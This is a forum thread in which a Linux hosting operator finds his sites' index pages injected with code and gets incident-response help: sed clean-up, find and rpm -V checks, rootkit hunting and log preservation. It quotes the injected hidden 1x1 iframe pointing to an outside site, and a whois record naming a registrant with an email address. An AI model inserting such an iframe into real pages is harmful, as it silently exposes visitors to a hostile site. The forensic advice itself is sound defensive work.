My server has been hacked.

[Webdiggity]

Ok, you all know that I'm new to Linux. I've been running a web server with about 40 customers for about 2 years and never had a problem.

Right now, I have found that all of my index.html and default.htm files have had the following lines of code added to them on the whole server.

First of all, the code is updating everyones favorites when they visit on of my sites. I'm logged in as root and trying to use sed to remove those lines of code from the index/default files. I keep getting syntax errors.

Here is the line I'm trying to remove.

<IFRAME SRC="http://www.forced-action.com/" WIDTH=1 HEIGHT=1></IFRAME>

I would like to just run this on my home directory and remove all the lines. I've been searching the web for a few hours now without a good explanation of what the special characters are and how to escape them.

Next, what is my plan of actions for removing any trojans that might be affecting my system. I just started getting error messages on my pager saying that I they have been detected on my system.

Thanks for the help in advance,
Please be gentle.

P.S. I've been keeping my system updated but there was about a 1 week period recently when I was away from any computer and was not able to update it until I returned.

[Void Main]

You really need to figure out how and when your system was cracked. You also need to check your system over throroughly for the presence of root kits. If you can determine the time of the exploit it will be easier to find everything associated with it. For instance, what are the date/time stamps on all of the pages that have been modified? That would be a good indicator. Then do a "find" for all files that have been created or modified from that date forward on your entire system. This usually reveals some hidden directories in odd places like /dev. You might find something like /dev/.hd99 which might be a directory containing exploit code.

You also have to be aware that if a root kit has been installed there could be sniffers running on your system that will not be detected by running a "ps" command because the "ps" command would surely have been modified to prevent revealing the sniffers, etc. You really have to bring the system down and boot from an alternate source (like knoppix) so you know you are using good utilities (not tampered with) to find the problem areas. Failing that you can upload statically linked versions of known good utilities and set your PATH to only execute fils in the directory that you uploaded them. The utilities you want would be utilities like ls, find, ps, strings, cat, etc, etc.

There is usually a good trail to follow via the "find" command, log entries, etc. They may have created a user to run everything under in which case there might be a shell history lying around that would reveal some of the commands they did. They usually leave scripts behind that help you figure out how to undo everything.

Having said that, I have never seen a server rooted that was up to date (including all applications that anyone can touch) and uses good security practices (good passwords, restrict access to the minimal necessary). I would certainly be interested in what you find out in case this is a new exploit that no one knows about. Do plenty of Google searches for any strange things you find (like key words in the lines that were added to your web pages).

[Webdiggity]

Where is a good place to start? You threw a lot at me and I would like to get the files changed so my customers don't start yelling about their favorites having porn sites added to them.

Can you help me a little with sed to get them fixed?

[Void Main]

First get the date time stamp off of them. Point me to a page so I can do a view source on it and I'll whip something up for you.

[Webdiggity]

www.webdiggity.com doing a grep for a piece of the code reveals that only default and index.html were affected.

Is there an easy way to grep all of those and output it withthe date stamp. I can do it with LS but not grep. hehe

[Webdiggity]

www.webdiggity.com doing a grep for a piece of the code reveals that only default and index.html were affected.

Is there an easy way to grep all of those and output it withthe date stamp. I can do it with LS but not grep. hehe

ok, I've done a search of several directories and all of them were modified today at 12:24. Well after I updated my kernel.

There is also a customer that I signed up this morning who didn't upload anything until 3:00pm and his index.html is untouched.

The customer that brought this to my attention also, has modified his files and they have not been affected since. This went down between 12:24 and 15.15 That's as far as I can narror it down.

Is is possible something existed on my system prior to that and just kicked off today? I'm scared guys.

[Void Main]

Grab this and make it executable (chmod +x deforce):
http://voidmain.is-a-geek.net/files/scripts/deforce

You could change into your web root and run it from there. It will check all "index.html" and "default.html" files and clean them if it finds the bad lines. If those filenames aren't right just change the script to suit.

What are the permissions and owner/group names on the files that have been changed? You'll want to run a find for anything that has been created or modified on your system from like yesterday on:

# find / -mtime -2 > /tmp/files.txt

Then check over that list of files very closely. Do you allow shell access for any users?

[Webdiggity]

Yes, I allow shell access to their accounts.

I guess I should lock that down eh?

[Void Main]

Well, I was just curious if you have combed over all of your permissions on your server to make sure people can't modify things they should not be able to modify. Plus, it's a lot easier if you have shell access to root a server. I would be making some good backups of things like logs, history files for all of your users and for root, etc. Dig through the stuff and look for suspicious activity. Don't let precious information get lost that could give you clues as to what happened.

[Void Main]

Also you'll want to check the integrity of some of your key files (ls, ps, etc). You can't be 100% certain that your RPM database or the rpm command hasn't been tampered with but if it hasn't it can be used to make sure your other files haven't been tampered with.

# rpm -V coreutils
# rpm -V findutils
# rpm -V procps

or just check everything installed on your system and redirect the output to a file so you can go through it and check things out:

# rpm -Va > /tmp/rpmchk.txt

[Webdiggity]

Ok, I finally got them cleaned. I'm now digging into my system with the tips you gave me. I want to go on record by saying that Void is "The Man" and all should bow before him. I'll keep this thread updated with what I find. I think I'm calling in sick tomorrow because I have such a headache right now. Sheesh.

Webby

[Void Main]

Now you know why I got out of the hosting business. :)

[Webdiggity]

Is there a way I can update my system software to overwrite any of the rpms that might have gotten altered?

I can't find anything on the web referencing that site. I'm going to be trying to locate the registrar for that site listed on my server too. Any suggestions for that one?

Here is the whois on forced-action.com I can't find any references in the hosting community to them. I wanna kill somebody!

domain: forced-action.comstatus: productionorganization: net capcorpowner: ilya bokunemail: mike_mendelson2000@yahoo.comaddress: 23 elizabets strcity: vilnuspostal-code: 17331country: LVadmin-c: mike_mendelson2000@yahoo.com#0tech-c: mike_mendelson2000@yahoo.com#0billing-c: mike_mendelson2000@yahoo.com#0nserver: a.ns.joker.com 194.176.0.2nserver: b.ns.joker.com 194.245.101.19nserver: c.ns.joker.com 194.245.50.1registrar: JORE-1created: 2003-04-24 17:15:22 UTC JORE-1expires: 2004-04-24 11:15:07 UTC source: joker.comdb-updated: 2004-02-05 06:02:54 UTC

[Void Main]

I would check over the output of the verification for all packages. If you see things that you know were not changed by you then you have to deal with them on an individual basis. The "rpm -Va" command will tell you what is wrong with a file (incorrect size, date, md5, etc), the man page explains the output pretty well. If there are binary files that show up with problems (ls, find, ps, etc) then you can pretty much be sure you've neen rooted. I would copy all of the suspect files somewhere and then reinstall the good package(s). The rooted files can be viewed for clues as to where they came from and possibly who did it. For sure copy all of your logs off (/var/log/*) which is the absolute first thing I would have done, hopefully you have already done this.

The web site could very well be a red herring. In fact I would very much suspect that to be the case. It doesn't make a lot of sense to me right now.

Also, I would create a directory somewhere off your server where you can collect all the appropriate files (/var/log*, especially the web server logs, messages log, and secure log, but best to grab everything). I also copy anything suspicious to this off server directory (take care to keep time stamps etc, the easiest way to do this is to tar the stuff up). Also copy the logs from the rpm verify and the find (might want to go back a little farther than 2 days, unless you can pin down a specific time the intruder (if it's an intruder) first gained access to your system).

It also would be very helpful if you happen to have been running tripwire. This would make it easy to see what, if anything, has changed on your system.

[Webdiggity]

I also started receiving trojan horse messages this afternoon on my cell phone. The messages are short but I got this much.

Hidden Pid detected

pid 899 hidden from ps - yes
hidden from kernel - yes

Any thoughts before I tackle this one?

This is getting uglier and uglier.